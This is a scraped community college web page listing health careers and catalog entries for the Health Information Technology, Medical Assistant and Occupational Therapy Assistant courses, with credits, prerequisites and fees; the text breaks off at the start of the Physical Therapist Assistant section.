Nuclear Medicine Technologists American Medical Association Nursing, Psychiatric, and Home Health Aides U.S. Department of Labor Occupational Outlook Handbook Occupational Health and Safety Specialists and Technicians U.S. Department of Labor Occupational Outlook Handbook Occupational Therapists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Occupational Therapist Assistants and Aides American Medical Association U.S. Department of Labor Occupational Outlook Handbook Ophthalmic Dispensing Opticians American Medical Association Ophthalmic Laboratory Opticians American Medical Association Ophthalmic Medical Opticians American Medical Association Optometrists U.S. Department of Labor Occupational Outlook Handbook Orthoptists American Medical Association Orthotists and Prosthetists American Medical Association Pathologist Assistants American Medical Association Perfusionists American Medical Association Personal and Home Care Aides U.S. Department of Labor Occupational Outlook Handbook Pharmacists U.S. Department of Labor Occupational Outlook Handbook Pharmacy Aides U.S. Department of Labor Occupational Outlook Handbook Pharmacy Technicians U.S. Department of Labor Occupational Outlook Handbook Physical Therapists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Physician Assistants American Medical Association U.S. Department of Labor Occupational Outlook Handbook Psychologists U.S. Department of Labor Occupational Outlook Handbook Radiation Therapists American Medical Association Radiologic Technologists U.S. Department of Labor Occupational Outlook Handbook Recreation and Fitness Workers Recreational Therapists U.S. Department of Labor Occupational Outlook Handbook Rehabilitation Counselors American Medical Association Respiratory Therapists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Social and Human Service Assistants U.S. Department of Labor Occupational Outlook Handbook Social Services Occupations U.S. Department of Labor Occupational Outlook Handbook Sonographers The Society of Diagnostic Medical Sonography Surgical Assistants Association of Surgical Assistants Social Workers U.S. Department of Labor Occupational Outlook Handbook Surgical Technologists American Medical Association U.S. Department of Labor Occupational Outlook Handbook Therapeutic Recreation Specialists American Medical Association Medical Transcriptionist Clinical Lab Technicians Pharmacy Technicians Radiographer Sonographer HEALTH INFORMATION TECHNOLOGY Do you want a career in a fast growing medical profession without involvement in patient care? If so, Macomb’s Health Information Technology program is for you! Health Information Technology professionals play a critical role in maintaining, collecting and analyzing the data that doctors, nurses and other healthcare providers rely on to deliver quality healthcare. Jump start your interesting and challenging career as a Health Information Technology professional at Macomb. Visit each link to learn about the career, program, admission requirements, career opportunities, courses and contact information. Discover why Macomb is an excellent choice to start your Health Information Technology career. --- **Health & Human Services** **Macomb Community College** **HITT-1102 - Introduction to Health Information Management & the Health Care Environment** 3.00 credits *Prerequisite:* Consent of the Program Coordinator, and BIOL-2710 and HHSC-1700 with grade C or better. *Corequisite:* HITT-1103 This course provides the student with an introduction to the organization of health care and to the health information management profession. Health record content, documentation requirements, and the accrediting and licensing agencies that govern health information will be reviewed. (3 contact hrs) Center Campus. Fall semester only. --- **HITT-1103 - Legal Aspects of Health Information Management** 3.00 credits *Prerequisite:* Consent of the Program Coordinator, and BIOL-2710 and HHSC-1700 with grade C or better. *Corequisite:* HITT-1102 This course covers legal and accreditation issues in health information management, including the Health Insurance Portability and Accountability Act (HIPAA); confidentiality and the right to privacy; the legislative process; the local, state and federal court system; legal vocabulary; retention directions; and ethical issues in health care and health information management. (3 contact hrs) Center Campus. Fall semester only. HITT-1201 - Pathophysiology & Pharmacology Applications in Health Information 3.00 credits Prerequisite: HITT-1102 and HITT-1103 with grade C or better. Corequisite: HITT-1206, HITT-1207, HITT-1208 The course focus is on description of conditions and diseases of the organ systems, including etiology, signs and symptoms, and methods of diagnosis and treatment. Students will build on their knowledge of anatomy and physiology and medical terminology through a detailed study of common pathological conditions and the drugs used in their treatment. (3 contact hrs) Center Campus. Winter semester only. HITT-1206 - Health Information Management Systems 3.00 credits Prerequisite: HITT-1102 and HITT-1103 and ITCS-1010, with grade C or better. Corequisite: HITT-1201, HITT-1207, HITT-1208 This course provides the students with an overview of various health information management systems. Students will gain knowledge of chart tracking, chart deficiency, processing release of information requests, master patient index and various registries. A hands-on lab will help the students gain proficiency in basic health information management functions. (4 contact hrs) Center Campus. Winter semester only. HITT-1207 - International Classification of Disease (ICD) Coding 3.00 credits Prerequisite: HITT-1102 and HITT-1103 and ITCS-1010, with grade C or better. Corequisite: HITT-1201, HITT-1206, HITT-1208 This course concerns the use of the International Classification of Disease (ICD) and corresponding Diagnostic Related Group (DRG) classification systems as used in diagnostic and procedural coding, inpatient reimbursement clinical classification systems, and related areas of study such as data quality and correct usage of the Uniform Hospital Discharge Data Set (UHDDS). This course uses encoder and grouping software. (4 contact hrs) Center Campus. Winter semester only. HITT-1208 - Computers in Healthcare 2.00 credits Prerequisite: HITT-1102 and HITT-1103 and ITCS-1010, with grade C or better. Corequisite: HITT-1201, HITT-1206, HITT-1207 This course, providing an overview of information technology in healthcare, reviews common software applications used in organizations (administrative, patient registration, ADT, clinical applications, point of care data capture, radiology, pharmacy, and other ancillary departments) and the role of the health information management professional in the applications. Students must be fluent with word processing, e-mail, Internet searching, Excel, PowerPoint, and basic database development and query. This course covers current information in the following areas: data and information, data integrity, document imaging, electronic health records and emerging technologies in healthcare information systems. (2 contact hrs) Center Campus. Winter semester only. HITT-2101 - Professional Practice Experience 1 3.00 credits Course Fee: $78.00 Prerequisite: HITT-1201, HITT-1206, HITT-1207, and HITT-1208, with grade C or better. Corequisite: HITT-2105, HITT-2106, HITT-2107 During this professional practice experience, students will apply to non-acute care settings knowledge from the courses they have had. Students will be expected to complete the professional practice experience manuals provided at the beginning of the semester. This is a non-paid, non-working clinical affiliation. Students may be asked to complete assignments given by the clinical site periodically, but may not be substituted for paid workers. (8 contact hrs) Center Campus. Fall semester only. **HITT-2105 - Healthcare Reimbursement Systems** *3.00 credits* *Prerequisite:* HITT-1201, HITT-1206, HITT-1207, and HITT-1208, with grade C or better. *Corequisite:* HITT-2101, HITT-2106, HITT-2107 This course covers the complex financial systems in today’s healthcare environment. The student will obtain insight into how reimbursement systems have made an impact on providers, payers, and consumers. Students will develop skills in coding compliance, revenue cycle management and case mix management. (3 contact hrs) Center Campus. Fall semester only. **HITT-2106 - CPT/HCPCS & Outpatient Coding** *3.00 credits* *Prerequisite:* HITT-1201, HITT-1206, HITT-1207, and HITT-1208, with grade C or better. *Corequisite:* HITT-2101, HITT-2105, HITT-2107 This course is a continuation of HITT-1207. Students will continue applying ICD and learn CPT/HCPCS coding with various body systems, disease processes and treatments in the outpatient settings. Billing and insurance procedures, as well as chargemaster description and maintenance, will be addressed. This course uses encoder and grouping software. (4 contact hrs) Center Campus. Fall semester only. **HITT-2107 - Health Information Statistics** *4.00 credits* *Prerequisite:* HITT-1201, HITT-1206, HITT-1207, and HITT-1208, with grade C or better. *Corequisite:* HITT-2101, HITT-2105, HITT-2106 This course discusses the fundamental concepts of the most frequently used health statistics including vital and descriptive statistics, emphasizing the reliability and validity of data and database issues, such as data searching and access. (4 contact hrs) Center Campus. Fall semester only. **HITT-2201 - Professional Practice Experience 2** *3.00 credits* *Course Fee: $78.00* *Prerequisite:* HITT-2101, HITT-2105, HITT-2106, and HITT-2107, with grade C or better. *Corequisite:* HITT-2202, HITT-2203, HITT-2204 Student will demonstrate basic competencies of health information technology in an acute care setting. This supervised professional practice experience will provide the students with observation of and interaction with health information functions. (16 contact hrs) Center Campus. Winter semester only. **HITT-2202 - Organizational Performance for Health Information Management Professionals** *3.00 credits* *Prerequisite:* HITT-2101, HITT-2102, HITT-2103, and HITT-2104, with grade C or better. *Corequisite:* HITT-2201, HITT-2203, HITT-2204 This course is an introduction to quality assessment and improvement techniques. Students will learn about data collection tools, data analysis, reporting methods, quality assessment plans, team development, utilization and resource management, case management, risk management, clinical and critical pathways, project management, and accreditation standards governing a variety of health care organizations. The instruction will cover the organizational structure of the medical staff and its composite members and will provide an overview of a Joint Commission on Accreditation of Health Care Organizations survey schedule. Other issues that may be addressed include practitioner credentialing, information management plans and how they interface with quality assessment efforts, standard performance measures, and practice guidelines. (3 contact hrs) Center Campus. Winter semester only. **HITT-2203 - Management for Health Information Management Professionals** *3.00 credits* *Prerequisite:* HITT-2101, HITT-2102, HITT-2103, and HITT-2104, with grade of C or better. *Corequisite:* HITT-2201, HITT-2202, HITT-2204 This course is an overview of management principles for first line managers in the Health Information Technology field. Topics covered in the course include: motivational theory, leadership, supervisory skills, human resource management, budgeting, ergonomics, marketing HIT services, presentation skills and techniques, professional image and development, HIT departmental performance improvement and appropriate oral and communication skills. (3 contact hrs) Center Campus. Winter semester only. **HITT-2204 - Health Information Technology Seminar** *1.00 credits* *Prerequisite:* HITT-2101, HITT-2105, HITT-2106, and HITT-2107, with grade C or better. *Corequisite:* HITT-2201, HITT-2202, HITT-2203 This course will assist the student to prepare for the national Registered Health Information Technician examination. The student will develop an individual or group study plan and complete a mock examination. In addition, the course will discuss skills for job searching and interviewing and review the importance of continuing education within the health information management profession. (1 contact hrs) Center Campus. Winter semester only. MEDICAL ASSISTANT Begin your interesting and challenging career as a Medical Assistant in Macomb's Medical Assistant program. Visit each link to find out about the Medical Assistant Program's requirements, courses, contacts, and career opportunities. Discover why Macomb is an excellent choice to start your career. **MAST-1120 - Medical Assistant Clinical 1A** *2.00 credits* *Prerequisite:* None *Corequisite:* MAST-1130 (formerly MAST-1020) (Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated.) The purpose of the course is to introduce the student to the basic skills and theory necessary to assist the physician in the examination, diagnosis, and treatment of the patient. Physical and emotional preparation of the patient will be stressed. Preparation of the facilities and armamentarium will be presented. Medical and surgical specialties will be defined and explored. (2 contact hrs) Center Campus. Fall semester only. **MAST-1130 - Medical Assistant Clinical 1B** *2.00 credits* *Course Fee:* $40.00 *Prerequisite:* None *Corequisite:* MAST-1120 (formerly MAST-1030) (Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated.) The purpose of the course is to introduce the student to the basic medical assisting skills and techniques necessary to assist the physician in the examination, diagnosis, and treatment of the patient and the clinical armamentarium. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (2 contact hrs) Center Campus. Fall semester only. **MAST-1150 - Applied Math for Medical Assistants** *2.00 credits* *Course Fee:* $10.00 *Prerequisite:* None This course is designed to provide the medical assistant with the mathematical skills necessary to calculate, prepare, and administer drugs safely and confidently in an ambulatory medical setting. (2 contact hrs) Center Campus. **MAST-1160 - Medical Assistant Clinical 2A** *2.00 credits* *Prerequisite:* MAST-1150 *Corequisite:* MAST-1170 (formerly MAST-1060) (Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated.) The purpose of this course is to introduce the student to the theory of interpreting the orders of the physician. Preparation and administration of medications will be introduced. The medical assistant's responsibilities in physical therapy, radiology, and nutrition will be stressed. Emergency situations will be presented. Critical thinking in emergency situations will be stressed. (2 contact hrs) Center Campus. Winter semester only. **MAST-1170 - Medical Assistant Clinical 2B** *2.00 credits* *Course Fee: $40.00* *Prerequisite: MAST-1150* *Corequisite: MAST-1160* (formerly MAST-1070) (Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated.) This course will examine common physician orders given to the medical assistant. Students will practice skills in medication administration, radiological preparation, nutrition therapy and learn to recognize emergency situations. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (2 contact hrs) Center Campus. Winter semester only. **MAST-1180 - Medical Diagnostic Procedures** *2.00 credits* *Prerequisite: None* (Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated.) This course will introduce the student to basic skills and theory necessary to assist the physician in the diagnosis and treatment of the patient. The student will gain experience preparing patients for diagnostic procedures. Clinical knowledge and practice will be provided. (2 contact hrs) Center Campus. **MAST-1300 - Medical Assistant Laboratory Techniques A** *2.00 credits* *Prerequisite: None* *Corequisite: MAST-1310* (formerly MOA 130) The purpose of this course is to provide the student with the knowledge of routine laboratory procedures used in the physician's office, out-patient clinics and HMOs. Urinalysis, hematology, microbiology, blood chemistries, and immunology will be studied. (2 contact hrs) Center Campus. **MAST-1310 - Medical Assistant Laboratory Techniques B** *2.00 credits* *Course Fee: $30.00* *Prerequisite: None* *Corequisite: MAST-1300* (formerly MOA 131) The purpose of this course is to provide the student with the practical applications of routine laboratory procedures used in the physician's office, out-patient clinics, and HMOs. Urinalysis, hematology, microbiology, blood chemistries, immunological studies and microscopic examinations of specimens will be practiced. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (2 contact hrs) Center Campus. **MAST-1360 - Medical Assistant Administration 1** *3.00 credits* *Prerequisite: None* MAST-1390 - Medical Assistant Administration 2 2.00 credits Prerequisite: None (formerly MAST-1380) This course is designed to give the student a short and intensive course in the essentials of accounting in the medical office setting. Students will learn to analyze financial transactions and prepare financial reports for a physician's office. (2 contact hrs) Center Campus. MAST-1400 - Medical Assistant Insurance Forms 3.00 credits Prerequisite: None (formerly MOA 140) Procedures used in the completion of medical insurance forms: Blue Shield, Medicare, Medicaid, CHAMPUS, CHAMPVA, FEP, Workman's Compensation, and Health Insurance Council. (3 contact hrs) Center Campus. Winter semester only. MAST-1420 - Computer Applications for Medical Assistants 3.00 credits Course Fee: $10.00 Prerequisite: None (formerly MOA 142) This course is designed to be an introduction to the computer and its practical application in the medical office. The software Medisoft will be introduced and the student will learn the fundamentals of transcription. Basic knowledge of computer is recommended. (3 contact hrs) Center Campus. MAST-1600 - Medical Assistant Externship 3.00 credits Course Fee: $40.00 Prerequisite: Consent of clinical coordinator. (formerly MOA 160) The student is placed in an office within the community for clinical/administration work experience enabling the student to effectively integrate and coordinate the various skills acquired through formal classroom work. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (12 contact hrs) Center Campus. Winter semester only. MAST-1601 - Medical Assistant Phlebotomy 3.00 credits Course Fee: $30.00 Prerequisite: Consent of program coordinator. Note: All clinical courses need to be completed within two (2) years of graduation. Any course exceeding this two (2) year time requirement must be repeated. The purpose of this course is to introduce the student to the basic skills of phlebotomy. Proper technique will be learned for physicians' offices and outpatient clinics. (3 contact hrs per week for 16 weeks) Center Campus. 3.00 credits Prerequisite: None (formerly MOA 172) The purpose of this course is to introduce the student to basic anatomy and physiology, common pathology and pharmacology applied to the field of Medical Assisting. Topics covered include: anatomy and physiology of the integumentary, skeletal, muscular, endocrine, central, peripheral and autonomic nervous systems and the special senses as well as modalities for diagnostic testing and treatment of patients in an ambulatory setting. This course has been designed specifically for students in the Medical Assistant program. (3 contact hrs) Center Campus. Fall semester only. MAST-1730 - Body Systems 2 3.00 credits Prerequisite: None (formerly MOA 173) The purpose of this course is to introduce the student to basic anatomy and physiology, common pathology and pharmacology applied to the field of Medical Assisting. Topics covered include: anatomy and physiology of the circulatory, lymphatic, respiratory, digestive, urinary, and reproductive systems, as well as modalities for diagnostic testing and treatment of patients in an ambulatory setting. This course has been designed specifically for students in the Medical Assistant program. (3 contact hrs) Center Campus. Winter semester only. MAST-2901 - Directed Study 1.00 credits Course Fee: $30.00 Prerequisite: Approval of directed study agreement (formerly MOA 290A) Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. This course may be selected more than once (4 credit hours maximum) with the consent of the associate dean.(1 contact hr) MAST-2902 - Directed Study 2.00 credits Course Fee: $30.00 Prerequisite: Approval of directed study agreement Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. (2 contact hrs) MAST-2903 - Directed Study 3.00 credits Course Fee: $30.00 Prerequisite: Approval of directed study agreement (formerly MOA 290C) Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. (3 contact hrs) OCCUPATIONAL THERAPY ASSISTANT Do you like helping people? Jump Start your interesting and challenging career as an Occupational Therapy Assistant in Macomb's Occupational Therapy Assistant Program. Visit the links to learn about the career, program, admission requirements, career opportunities, courses, Macomb's occupational therapy program faculty and staff, hospital affiliates, and clinical training requirements to see why you are making an excellent choice in choosing the Occupational Therapy Assistant program at Macomb. If you have any questions or need more information, contact Phyllis A. Clements, M.A., OTR, Program Coordinator. **OTAS-1010 - Activity Media & Task Analysis** 1.50 credits Course Fee: $30.00 *Prerequisite:* Admission into Occupational Therapy Assistant program. *Corequisite:* OTAS-1020, OTAS-1110, OTAS-1210, OTAS-1220, OTAS-1310 (formerly OTA 101) This course is designed as an introduction to media analysis. Various crafts, leisure activities, and daily tasks are utilized for beginning therapeutic application. The course includes emphasis on grading and adapting various media and introduces the Occupational Therapy Practice Framework. Age appropriateness, disability, and appreciation of multicultural factors are emphasized. (3 contact hrs) Center Campus. **OTAS-1020 - Medical Language** 1.50 credits Course Fee: $10.00 *Prerequisite:* Admission into Occupational Therapy Assistant program. *Corequisite:* OTAS-1330 (formerly OTA 102) This course provides an introduction to medical terminology, including psychiatric terminology commonly used in occupational therapy practice settings. Emphasis placed on knowledge of word parts, prefixes, suffixes, medical abbreviations, and ability to read medical notes. Utilization of an independent study method of computer-assisted learning disks included in course (2 contact hrs) Center Campus. **OTAS-1110 - Mental Health Conditions** 3.00 credits *Prerequisite:* Admission into Occupational Therapy Assistant program and PSYC-1010. (formerly OTA 111) This course provides an overview of the most common psychiatric disorders referred to occupational therapy. Reviews definition, etiology, incidence, pathology, goal setting and team members. (3 contact hrs) Center Campus. OTAS-1150 - Mental Health Techniques & Treatment 2.00 credits *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1110 and PSYC-1010. *Corequisite:* OTAS-1160 (formerly OTA 115) This course provides an overview of the occupational therapy treatment process including evaluation and treatment techniques utilized in mental health settings. Emphasis placed on intervention techniques appropriate for the Certified Occupational Therapy Assistant (COTA). Reviews occupational therapy theories, therapeutic use of self, activities of daily living (ADL), cognitive and sensorimotor activities. (2 contact hrs) Center Campus. OTAS-1160 - Mental Health Techniques & Treatment Lab 1.50 credits *Course Fee:* $10.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1110 and PSYC-1010. *Corequisite:* OTAS-1380 (formerly OTA 116) This course is designed to teach various techniques and skills used in treatment for persons referred to a mental health occupational therapy clinic. Emphasis is placed on application of the occupational therapy treatment process. Administration of standardized and non-standardized tests and evaluations appropriate to the role of the Certified Occupational Therapy Assistant (COTA) are reviewed. Students present a patient group activity. (3 contact hrs) Center Campus. OTAS-1210 - Clinical Kinesiology 3.00 credits *Prerequisite:* Admission into Occupational Therapy Assistant program and BIOL-2710. *Corequisite:* OTAS-1220 (formerly OTA 121) This course studies functional human musculoskeletal movement and its interrelationship to the neuromuscular system as a foundation to the basic understanding of normal and abnormal movements. In addition, the course includes an analysis of basic principles of biomechanics in functional activity and an introduction to gross manual muscle testing. (3 contact hrs) Center Campus. OTAS-1220 - Kinesiology - Laboratory 1.50 credits *Course Fee:* $10.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and BIOL-2710. *Corequisite:* OTAS-1210 (formerly OTA 122) Offering correlated laboratory practice in kinesiology, this course covers basic biomechanics, range of motion (ROM) techniques, transfers, activities of daily living (ADL) motion analysis, barrier-free design and assessment, wheelchair sensitivity exercise, and universal precautions for infection control. (3 contact hrs) Center Campus. OTAS-1290 - Rehabilitation Conditions 4.00 credits *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1010, OTAS-1020, OTAS-1210, OTAS-1220, OTAS-1310, and BIOL-2710. (replaces OTAS-1240, OTAS-1250, OTAS-1260, OTAS-1270, and OTAS-1280) This course provides an overview of the most common conditions referred to occupational therapy and reviews definition, etiology, incidence, pathology, and team members with an emphasis on clinical reasoning skills. (4 contact hrs) Center Campus. **OTAS-1310 - Life Span Development** *2.00 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program. (formerly OTA 131) This course provides an overview of the biological, cognitive, socioemotional and sensorimotor processes throughout the life span. Students are exposed to theories and research findings regarding development. (2 contact hrs) Center Campus. **OTAS-1330 - Patient Interactive Communication Skills** *1.00 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program. *Corequisite:* OTAS-1020 (formerly OTA 133) This course is designed to review the techniques used to facilitate communication among team members. Covers management styles, interviewing patients, developing therapeutic relationships, conflict management, problem-solving, stress management and the teaching learning process. (2 contact hrs) Center Campus. **OTAS-1350 - Pediatrics** *1.00 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1310. *Corequisite:* OTAS-1360 (formerly OTA 135) This course is designed to review the role and function of occupational therapy in pediatrics. School system and other community based settings are covered and intervention strategies which are used for assessment and treatment. Diseases/disabilities most commonly referred to pediatric occupational therapy are reviewed. (1 contact hr) Center Campus. **OTAS-1360 - Pediatrics Laboratory** *1.00 credits* *Course Fee:* $30.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1310. *Corequisite:* OTAS-1350 (formerly OTA 136) This course is designed to teach various techniques and skills used in treatment for persons referred to a pediatric occupational therapy clinic. Role of school based therapist is also included. Emphasis is placed on assessment and treatment techniques which cover the cognitive, psychomotor and affective domains. (2 contact hrs) Center Campus. **OTAS-1380 - Documentation Skills 1** *1.00 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1110 and PSYC-1010. *Corequisite:* OTAS-1410, OTAS-1150, OTAS-1160 (formerly OTA 138) This course introduces the student to basic concepts of documentation and beginning note writing skills for the occupational therapy assistant. The course will explore various documentation formats, computer-aided documentation, third-party reimbursement guidelines and regulations, and issues of confidentiality and the Health Insurance Portability and Accountability Act (HIPAA). A patient case study will be used to understand OT evaluations, intervention plans, long- and short-term goals/objectives, progress notes, and discontinuation summaries. Problem Oriented Medical Record (POMR) will be introduced and progress note formats will be presented utilizing the OT practice framework terminology. (2 contact hrs) Center Campus. **OTAS-1410 - Level I - Mental Health Fieldwork** *1.00 credits* **Course Fee:** $40.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1110 and PSYC-1010. *Corequisite:* OTAS-1150 (formerly OTA 141) Directed clinical observation of occupational therapy personnel and patients in a clinical setting. Allows student opportunity for directed participation to apply therapeutic concepts while under supervision. Students are individually assigned. (8 contact hrs per week for 8 wks) Center Campus. **OTAS-1450 - Level 1 Fieldwork - First Placement** *1.00 credits* **Course Fee:** $40.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1110 and PSYC-1010. *Corequisite:* OTAS-1150, OTAS-1160, OTAS-1380 (formerly OTAS-1410) By providing supervised clinical experience, this course gives the beginning level-1 student experience in basic occupational therapy interventions and the opportunity to apply therapeutic concepts under the supervision of a qualified clinician. (8 contact hrs per week for 8 wks) Center Campus. **OTAS-2210 - Physical Dysfunction Techniques & Treatment - Lecture** *2.00 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1210, OTAS-1220, and OTAS-1290. *Corequisite:* OTAS-2220, OTAS-2380, OTAS-2420 (formerly OTA 221) This course provides an overview of the occupational therapy treatment process including evaluation and treatment techniques utilized in physical dysfunction settings. Emphasis placed on treatment application and intervention techniques appropriate for the Certified Occupational Therapy Assistant (COTA). Reviews occupational therapy frame of reference, treatment approaches, activities of daily living (ADL), cognition, perception, work simplification, energy conservation, sensorimotor, neuromuscular and selected orthotic activities. (2 contact hrs) Center Campus. **OTAS-2220 - Physical Dysfunction Techniques & Treatment - Laboratory** *1.50 credits* **Course Fee:** $30.00 *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1210, OTAS-1220, and OTAS-1290. *Corequisite:* OTAS-2210, OTAS-2380, OTAS-2420 (formerly OTA 222) This course is designed to teach various techniques and skills used in treatment for persons referred to a physical dysfunction occupational therapy setting. Emphasis is placed on application of the occupational therapy treatment process. Administration of standardized and non-standardized tests and evaluations appropriate to the role of the Certified Occupational Therapy Assistant (COTA) are reviewed. Students fabricate small activities of daily living (ADL) assistive and orthotic devices. (3 contact hrs) Center Campus. OTAS-2310 - Gerontics Lecture 1.00 credits Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1310. Corequisite: OTAS-2320 (formerly OTA 231) This course is designed to review the role and function of occupational therapy in geriatrics and the cognitive and physiological changes which occur in the body as a result of the normal aging process. The course will give an overview of the aging process, theories, activity planning, and barrier-free design. (1 contact hr) Center Campus. OTAS-2320 - Gerontics Laboratory 1.00 credits Course Fee: $30.00 Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1310. Corequisite: OTAS-2310 (formerly OTA 232) This course is designed to teach various techniques and skills used in treatment for persons referred to a geriatric occupational therapy setting. Group techniques, activity planning, assistive devices for activities of daily living (ADL), diversity training, universal precautions are covered. Course allows students to generate creative ideas for practical use in treatment settings. (2 contact hrs) Center Campus. OTAS-2340 - Program Support 1.00 credits Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1150 and OTAS-2210. (formerly OTA 234) This course is designed to review organization and management concerns as it relates to the Certified Occupational Therapy Assistant (COTA). Team collaboration between Occupational Therapist Registered (OTR)/Certified Occupational Therapy Assistant (COTA) is discussed. Professional standards and ethics, research, marketing, state/federal regulatory laws, budgeting, third party reimbursement, program and space planning are covered. (1 contact hr) Center Campus. OTAS-2360 - Fieldwork Prep: From Classroom to Clinic 1.00 credits Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1410. Corequisite: OTAS-2420 (formerly OTA 236) This course is designed to prepare the student for the realities of occupational therapy clinical practice. The course reviews what skills are needed to make the transition from classroom to the clinic. Covers competency standards expected on Level 2 fieldwork in cognitive, psychomotor and affective domains. (1 contact hr) Center Campus. OTAS-2380 - Documentation Skills 2 1.00 credits Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1290 and OTAS-1380. Corequisite: OTAS-2210, OTAS-2220, OTAS-2420 (formerly OTA 238) Building upon the skills presented in OTAS-1380, Documentation Skills 1, this course teaches third-party reimbursement guidelines/regulations and appeals, teaches standards for confidentiality and the Health Insurance Portability and Accountability Act (HIPAA), and teaches the documentation of intervention plans, long- and short-term goals/objectives, progress notes, and discontinuation summaries utilizing actual client intervention sessions. (2 contact hrs) Center Campus. **OTAS-2390 - Assistive Technology** *1.50 credits* *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1210, OTAS-1220, OTAS-1350, and OTAS-1360. (formerly OTA 239) This course is designed to provide an overview on how technology is being used to enhance patient treatment in a variety of work settings. Covers seating and mobility aids, drivers training aids, assistive technology devices, computer adaptations, switch activated toys, and other high and low tech devices. (3 contact hrs) Center Campus. **OTAS-2450 - Level 1 Fieldwork - Second Placement** *1.00 credits* *Course Fee: $40.00* *Prerequisite:* Admission into Occupational Therapy Assistant program and OTAS-1450. *Corequisite:* OTAS-2210, OTAS-2220, OTAS-2380 (formerly OTAS-2420) This course provides supervised clinical experience to give the beginning level 1 student an opportunity for continued practice of basic occupational therapy interventions under the supervision of a qualified clinician. (8 contact hours per week for 8 weeks) Center Campus. **OTAS-2480 - Level 2 - Mental Health Fieldwork** *4.00 credits* *Course Fee: $40.00* *Prerequisite:* Admission into Occupational Therapy Assistant program and HHSC-1030, OTAS-1010, OTAS-1020, OTAS-1110, OTAS-1150, OTAS-1160, OTAS-1210, OTAS-1220, OTAS-1290, OTAS-1310, OTAS-1330, OTAS-1350, OTAS-1360, OTAS-1380, OTAS-1410, OTAS-2210, OTAS-2220, OTAS-2310, OTAS-2320, OTAS-2340, OTAS-2360, OTAS-2380, OTAS-2390, and OTAS-2420. *Corequisite:* OTAS-2490 (formerly OTA 248) Student must meet criteria for fieldwork as outlined in OTA Student Handbook. Full-time eight week clinical experience in a mental health setting. Patient evaluation and treatment performed while under supervision. Students are individually assigned. The level 2 clinical fieldwork must be completed within 18 months of the didactic coursework. Seminar required monthly. (40 contact hrs per week for 8 wks) Center Campus. **OTAS-2490 - Level 2 - Physical Dysfunction Fieldwork** *4.00 credits* *Course Fee: $40.00* *Prerequisite:* Admission into Occupational Therapy Assistant program and HHSC-1030, OTAS-1010, OTAS-1020, OTAS-1110, OTAS-1150, OTAS-1160, OTAS-1210, OTAS-1220, OTAS-1290, OTAS-1310, OTAS-1330, OTAS-1350, OTAS-1360, OTAS-1380, OTAS-1410, OTAS-2210, OTAS-2220, OTAS-2310, OTAS-2320, OTAS-2340, OTAS-2360, OTAS-2380, OTAS-2390, and OTAS-2420. *Corequisite:* OTAS-2480 (formerly OTA 249) Student must meet criteria for fieldwork as outlined in OTA Student Handbook. Full-time eight week clinical experience in a physical dysfunction setting. Patient evaluation and treatment performed while under supervision. Students are individually assigned. The level 2 clinical fieldwork must be completed within 18 months of the didactic coursework. Seminar required monthly. (40 contact hrs per week for 8 wks) Center Campus. OTAS-2580 - Level 2 Fieldwork - First Placement 4.00 credits Course Fee: $40.00 Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1450 and OTAS-2450. Corequisite: OTAS-2590 (formerly OTAS-2480) This course provides supervised clinical experience for the advanced student who will apply therapeutic techniques and practice competent entry-level clinical applications under the supervision of a qualified clinician. (40 contact hours per week for 8 weeks) Center Campus. OTAS-2590 - Level 2 Fieldwork - Second Placement 4.00 credits Course Fee: $40.00 Prerequisite: Admission into Occupational Therapy Assistant program and OTAS-1450 and OTAS-2450. Corequisite: OTAS-2580 (formerly OTA 249) This course provides supervised clinical experience for the advanced student to continue to apply therapeutic techniques and practice competent entry-level clinical applications under the supervision of a qualified clinician. (40 contact hours per week for 8 weeks) Center Campus. OTAS-2901 - Directed Study 1.00 credits Course Fee: $30.00 Prerequisite: Admission into the Occupational Therapy Assistant program and approval of directed study agreement. Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. This course may be selected more than once (4 credit hours maximum) with the written consent of the associate dean. (1 contact hr) OTAS-2904 - Directed Study 4.00 credits Course Fee: $30.00 Prerequisite: Admission into the Occupational Therapy Assistant program and approval of directed study agreement. Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. (4 contact hrs) PHYSICAL THERAPIST ASSISTANT Physical Therapist Assistants are technically educated health care providers who assist physical therapists in the provision of care. Working under the direction 